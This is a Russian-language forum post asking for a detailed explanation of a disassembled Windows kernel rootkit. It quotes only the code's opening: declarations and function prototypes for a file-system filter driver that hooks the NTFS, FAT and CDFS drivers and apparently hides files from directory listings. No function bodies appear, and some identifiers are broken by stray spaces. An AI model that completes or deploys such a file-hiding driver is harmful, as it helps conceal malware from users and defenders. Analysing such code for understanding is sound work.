объясните код руткита

[Siena]

У меня есть дисассемблированный код руткита, написанный на языке с++
может ли кто нибудь мне лично объяснить(подробно) как эта программа работает.
Начало кода:


//Decleration
//------------

#include <ntifs.h>

typedef struct _DEVICE_EXTENSION
{
PDEVICE_OBJECT AttachedDevice;
PDEVICE_OBJECT RealDevice; //Used in File System Control

}_DEVICE_EXTENSION, *PDEVICE_EXTENSION;

extern POBJECT_TYPE* IoDriverObjectType;

typedef struct
{
ULONG Object;
PDEVICE_OBJECT DeviceObject;
}ReferencedObject;


//Data:
//-----

FAST_IO_DISPATCH g_fastIoDispatch;
PDRIVER_OBJECT DriverObject;
PDEVICE_OBJECT DeviceObject;
PCWSTR aObreferenceobjectbyname = L"ObReferenceObjectByName";
PCWSTR FileSystemsArray[3] = {
L"\\FileSystem\\ntfs",
L"\\FileSystem\\fastfat",
L"\\FileSystem\\cdfs",
};

PCWSTR BannedDirecoty = L"{58763ECF-8AC3-4a5f-9430-1A310CE4BE0A}";
PCWSTR DebugMSG = L"b:\\myrtus\\src\\objfre_w2k_x86\\ i386\\guava.pdb";


//ProtoTyping:
//------------

#define FUNC NTSTATUS (*ObReferenceObjectByNameFunc)(PUNI CODE_STRING ObjectName,\
ULONG Attributes,\
PACCESS_STATE AccessState,\
ACCESS_MASK DesiredAccess,\
POBJECT_TYPE ObjectType,\
KPROCESSOR_MODE AccessMode,\
PVOID ParseContext OPTIONAL,\
PVOID* Object)

VOID SetFastIoDispatch();
NTSTATUS HookingFileSystems();
VOID HookOne(FUNC,PCWSTR FileSystem);
VOID DriverNotificationRoutine(PDEVICE_O BJECT TargetDevice,int command);
VOID AttachDevice(PDEVICE_OBJECT TargetDevice);
BOOLEAN IsAllreadyAttached(PDEVICE_OBJECT TargetDevice);
NTSTATUS CreateDevice(PDEVICE_OBJECT TargetDevice,PDEVICE_OBJECT *SourceDevice);
BOOLEAN IsMyDevice(PDEVICE_OBJECT TargetDevice);
VOID SettingFlags(PDEVICE_OBJECT DeviceObject,PDEVICE_OBJECT TargetDevice);
BOOLEAN AttachToStack(PDEVICE_OBJECT SourceDevice,PDEVICE_OBJECT TargetDevice,PDEVICE_EXTENSION DeviceExtension);
VOID OnFileSystemControl(PDEVICE_OBJECT DeviceObject,PIRP Irp);
VOID SetCompletionFileControl(PDEVICE_OB JECT TargetDevice,PIRP Irp);
NTSTATUS SetFSCompletionRoutine(PDEVICE_OBJE CT DeviceObject,PIRP Irp);
NTSTATUS FileControlCompletionRoutine(PDEVIC E_OBJECT DeviceObject,PIRP Irp,PDEVICE_OBJECT* Context);
BOOLEAN AttachDelayThread(PDEVICE_OBJECT DeviceObject,PDEVICE_OBJECT TargetDevice);
VOID OnDirectoryControl(PDEVICE_OBJECT DeviceObject,PIRP Irp);
VOID SetCompletionDirControl(PDEVICE_OBJ ECT DeviceObject,PIRP Irp);
NTSTATUS DirectoryCompletionRoutine(PDEVICE_ OBJECT DeviceObject,PIRP Irp,PDEVICE_OBJECT* Context);
VOID FreeMdl(PIRP Irp,PMDL* Context);
ULONG AllocateMdl(PMDL* LclContext,PIRP Irp,PIO_STACK_LOCATION CurrentStack);
ULONG CreateWorkRoutine(PDEVICE_OBJECT DeviceObject,PIO_STACK_LOCATION CurrentStack,PIRP Irp,PVOID LclContext);
NTSTATUS WorkerRoutine(PDEVICE_OBJECT DeviceObject,PLARGE_INTEGER Context);
ULONG GetOffsets(ULONG FileInformationClass,ULONG* EndOfFile,ULONG* FilenameOffset,ULONG* FilenameLength);
ULONG FileCheck (PVOID UserBuffer,ULONG NextEntryOffset,ULONG EndOfFile,ULONG FilenameOffset,ULONG FilenameLength);
ULONG StrCheck(PCWSTR TargetString,PCWSTR SourceString,int Size);
ULONG TMPCheck(PCWSTR Filename,int Length,int LowPart,int HighPart);